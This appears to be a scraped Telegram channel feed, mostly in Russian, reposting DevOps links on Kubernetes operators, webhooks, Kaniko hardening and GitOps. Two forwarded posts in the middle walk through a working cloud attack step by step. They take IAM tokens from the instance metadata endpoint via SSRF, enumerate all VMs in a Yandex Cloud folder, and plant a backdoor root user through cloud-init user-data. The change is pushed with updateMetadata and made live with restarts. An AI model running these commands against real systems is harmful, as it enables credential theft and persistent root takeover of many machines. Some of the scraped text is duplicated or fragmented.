Kubernetes operator is one of the patterns that allows you to extend Kubernetes to fit your business requirements. This series of posts is going to go through the process of creating a very simple Kubernetes operator following TDD approach. The posts assume prior knowledge of Kubernetes operator pattern, what it is, when to use it, basic concepts of operator pattern like reconcillation loop etc.
#operator #sdk #k8s #kubernetes
https://pnguyen.io/posts/test-drive-kubernetes-operator-1/
https://pnguyen.io/posts/test-drive-kubernetes-operator-2/
https://pnguyen.io/posts/test-drive-kubernetes-operator-3/
https://pnguyen.io/posts/test-drive-kubernetes-operator-4/
#operator #sdk #k8s #kubernetes
https://pnguyen.io/posts/test-drive-kubernetes-operator-1/
https://pnguyen.io/posts/test-drive-kubernetes-operator-2/
https://pnguyen.io/posts/test-drive-kubernetes-operator-3/
https://pnguyen.io/posts/test-drive-kubernetes-operator-4/
pnguyen.io
Test drive a Kubernetes operator - Part 1
Create a simple Kubernetes operator following TDD
Webhook for CRD: https://medium.com/trendyol-tech/getting-started-to-write-your-first-kubernetes-admission-webhook-part-1-623f40c2adda
Webhook fo core types: https://medium.com/trendyol-tech/getting-started-to-write-your-first-kubernetes-admission-webhook-part-2-48d0b0b1780e
#webhook #kubebuilder #k8s #kubernetes
Webhook fo core types: https://medium.com/trendyol-tech/getting-started-to-write-your-first-kubernetes-admission-webhook-part-2-48d0b0b1780e
#webhook #kubebuilder #k8s #kubernetes
Medium
Getting Started to Write Your First Kubernetes Admission Webhook Part 1✨
Kubernetes Admission Controllers concept is very popular these days, especially dynamic ones: MutatingAdmissionWebhook and…
Forwarded from k8s (in)security (D1g1)
Статья "Hardening Kaniko build process with Linux capabilities" о повышения уровня безопасности процесса сборки при использовании Kaniko. Вопрос сборки образов внутри
Ситуация с
План: забираем все
Автор в своих изысканиях с
Как вы понимаете такой подход работает и для других приложений ;)
Kubernetes/containers
мы уже как-то поднимали и обсуждали момент с преимуществами такого подхода. Но это статья не о простом использовании Kaniko
, а о том, как можно улучшить, обезопасить процесс.Ситуация с
Kaniko
следующая - его контейнер запускается от пользователя root
. Можно, конечно, предположить, что ему для работы нужны далеко не все capabilitys =) План: забираем все
capabilitys
и явно добавляем только нужные!Автор в своих изысканиях с
Kaniko
пришел к такому результату: CHOWN
, SETUID
, SETGID
, FOWNER
, DAC_OVERRIDE
.Как вы понимаете такой подход работает и для других приложений ;)
Rewanth Tammana's Blog
Hardening Kaniko build process with Linux capabilities
Build images inside Kubernetes/containers? Wide privileges in default configuration? How to secure Kaniko? Can we take things a notch higher?
Forwarded from Записки админа
🐧 How Program Gets Run: Linux. Автор попытался пошагово показать процесс запуска программы в Linux. #напочитать #linux
Forwarded from Кавычка (Bo0oM)
Так как Яндекс.Облако решает одну из таких задач, как импортозамещение, многие инструменты от AWS подойдут для использования в этом продукте, так как у них присутствуют одинаковые вызовы API.
Облака это не обычные виртуалки, но не все этого понимают. В AWS есть такая херь, под названием IAM (AWS Identity and Access Management), она создана для контроля доступа к сервисам Амазона. IAM позволяет не раздавать привилегии налево и направо, а запросить доступ на время. Самое смешное, что подобная технология, которая создана для защиты, чаще всего неправильно настроена и позволяет любому, кто находится на сервере запросить подобный доступ. Делается это как с помощью SSRF атак, так и после компрометации одной из машин.
Например, ручка, которая позволяет получить токен доступа для CLI API:
Точно такой же запрос можно выполнить в Яндекс Облаке, если неправильно настроена роль. Когда создаешь виртуальную машину в ней нет сервис аккаунта. Но вот если решишь его привязать, то тебе предложат создать сразу с ролью editor. Это «примитивная» роль с правами создавать/обновлять/удалять виртуалки. Если в ответе будет что-то такое:
То скорее всего это шанс на победу. А ручка
Вернет информацию о пользователе облака, чей токен нам сейчас показали. Смотрим на логин, открытый ключ и другие настройки.
И сейчас легким движением руки мы захватим все образы на примере Яндекс Облака. Следите за пальцами.
Облака это не обычные виртуалки, но не все этого понимают. В AWS есть такая херь, под названием IAM (AWS Identity and Access Management), она создана для контроля доступа к сервисам Амазона. IAM позволяет не раздавать привилегии налево и направо, а запросить доступ на время. Самое смешное, что подобная технология, которая создана для защиты, чаще всего неправильно настроена и позволяет любому, кто находится на сервере запросить подобный доступ. Делается это как с помощью SSRF атак, так и после компрометации одной из машин.
Например, ручка, которая позволяет получить токен доступа для CLI API:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/default
Точно такой же запрос можно выполнить в Яндекс Облаке, если неправильно настроена роль. Когда создаешь виртуальную машину в ней нет сервис аккаунта. Но вот если решишь его привязать, то тебе предложат создать сразу с ролью editor. Это «примитивная» роль с правами создавать/обновлять/удалять виртуалки. Если в ответе будет что-то такое:
{“Code":"Success","Token":"t1.H1shIqVmYuKys2Nz86Mj5LLzc-Lku3rnpWai5uKzc7OksrLlcuRnpudlovl8_dtHGl4-e8FIxs3_N3z9y1LZnj57wUjGzf8.qMl7rNwY8ztuhHWsWc1DhY6hFb3p7tp56TUYO2A1PVFs-Sjwnsohf-w0UfedZbuEt6sC0TljNya_29Ncsu2n","Expiration":"2022-02-01T01:52:18+00:00"}
То скорее всего это шанс на победу. А ручка
curl http://169.254.169.254/latest/user-data
Вернет информацию о пользователе облака, чей токен нам сейчас показали. Смотрим на логин, открытый ключ и другие настройки.
И сейчас легким движением руки мы захватим все образы на примере Яндекс Облака. Следите за пальцами.
yandex.cloud
Документация Yandex Cloud | Обзор платформы | Сопоставление с Amazon Web Services
В этой статье сопоставляются сервисы Yandex Cloud и сервисы Amazon Web Services.
Forwarded from Кавычка (Bo0oM)
Берем известный нам IAM_TOKEN. Получаем почту и id пользователя:
Получаем идентификатор инстанса:
Забираем информацию о текущем инстансе, нас интересует folderId:
С помощью folderId получаем список всех виртуальных машин в облаке:
В ответе будет список всех виртуальных машин, их имена, описание, дата создания, instanceId всех тачек.
А теперь самое интересное, получаем всю метадату для каждого инстанса:
Делаем резервную копию yaml-файла. В поле "user-data" добавляем бэкдор в виде привилегированного пользователя toor:
Пушим изменения:
И делаем рестарт:
Поздравляю. У вас десятки, а может и сотни виртуальных машин с пользователем root благодаря одной уязвимости, если компания не осилила настройку облаков.
curl -H "Authorization: Bearer {IAM_TOKEN}" "https://iam.api.cloud.yandex.net/iam/v1/yandexPassportUserAccounts:byLogin?login={LOGIN}"
Получаем идентификатор инстанса:
curl -H Metadata-Flavor:Google 169.254.169.254/computeMetadata/v1/instance/id
Забираем информацию о текущем инстансе, нас интересует folderId:
curl -H "Authorization: Bearer {IAM_TOKEN}" "https://compute.api.cloud.yandex.net/compute/v1/instances/{instanceID}"
С помощью folderId получаем список всех виртуальных машин в облаке:
curl -H "Authorization: Bearer {IAM_TOKEN}" "https://compute.api.cloud.yandex.net/compute/v1/instances?folderId={folderId}"
В ответе будет список всех виртуальных машин, их имена, описание, дата создания, instanceId всех тачек.
А теперь самое интересное, получаем всю метадату для каждого инстанса:
curl -H "Authorization: Bearer {IAM_TOKEN}" "https://compute.api.cloud.yandex.net/compute/v1/instances/{instanceID}?view=FULL"
Делаем резервную копию yaml-файла. В поле "user-data" добавляем бэкдор в виде привилегированного пользователя toor:
\n - echo toor:P@ssw0rd:0:0:root:\/root:\/bin\/bash >> \/etc\/passwd\
nПушим изменения:
POST /compute/v1/instances/epd48d7l217cs3eqgb1b/updateMetadata HTTP/2
Host: compute.api.cloud.yandex.net
authorization: Bearer {IAM_TOKEN}
content-length: 1337
content-type: application/x-www-form-urlencoded
{
"upsert": {
"serial-port-enable": "1",
...
"user-data": "#cloud-config\ndatasource:\n Ec2:\n strict_id: false\nssh_pwauth: no\nbootcmd:\n - echo toor:P@ssw0rd:0:0:root:\/root:\/bin\/bash >> \/etc\/passwd\nusers:\n- name: bankprod\n sudo: ALL=(ALL) NOPASSWD:ALL\n shell: /bin/bash\n ssh-authorized-keys:\n - ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEs7/GMUMCm6ncksXdcYf1+XSPkdVXvNdlUJZiJkGHBa bankprod@develop"
}
}
И делаем рестарт:
POST /compute/v1/instances/{instanceId}:restart HTTP/2
Host: compute.api.cloud.yandex.net
authorization: Bearer {IAM_TOKEN}
content-length: 37
content-type: application/x-www-form-urlencoded
{"instanceId":"{instanceId}"}
Поздравляю. У вас десятки, а может и сотни виртуальных машин с пользователем root благодаря одной уязвимости, если компания не осилила настройку облаков.
Forwarded from Записки админа
🛠 A Hello World GitOps Example Walkthrough - пример организации GitOps подхода. Пошагово, со схемой и примерами конфигов. Полезным, пожалуй, будет для тех, кто хочет GitOps попробовать, но в длинные мануалы пока что вчитываться не готов.
#gitops #напочитать
#gitops #напочитать
Forwarded from ITTales :(){ :|:& };:
www.linux.org.ru
Переехал на кучу утилит переписаных на Rust
Тег «угадай автора по заголовку». Q: Зачем? A: Ради эксперимента, повысится комфорт пользования терминалом или нет. Q: Причем тут Rust? A: Ни при чем, но из-за нативности и отсутствия GC на нем толпа людей побежала переписывать что ни попадя. С таким...
https://medium.com/google-cloud/understanding-kubernetes-networking-pods-7117dd28727
https://medium.com/@betz.mark/understanding-kubernetes-networking-services-f0cb48e4cc82
#k8s #kubernetes #networking
https://medium.com/@betz.mark/understanding-kubernetes-networking-services-f0cb48e4cc82
#k8s #kubernetes #networking
Medium
Understanding kubernetes networking: pods
This post is going to attempt to demystify the several layers of networking operating in a kubernetes cluster. Kubernetes is a powerful…
https://twitter.com/iximiuz/status/1546249143320035328?t=-5qF-rc2rf9lcrFzDjUp6Q&s=09
#twitter #k8s #kubernetes
#twitter #k8s #kubernetes
Twitter
Kubernetes Deployment Strategy visualized 🔽
Spent half of the weekend improving the object graph in my experimental Kubernetes UI. Now visualizations have much smoother transitions between states.
Check out how actually elaborate the behavior of the "RollingUpdate"…
Spent half of the weekend improving the object graph in my experimental Kubernetes UI. Now visualizations have much smoother transitions between states.
Check out how actually elaborate the behavior of the "RollingUpdate"…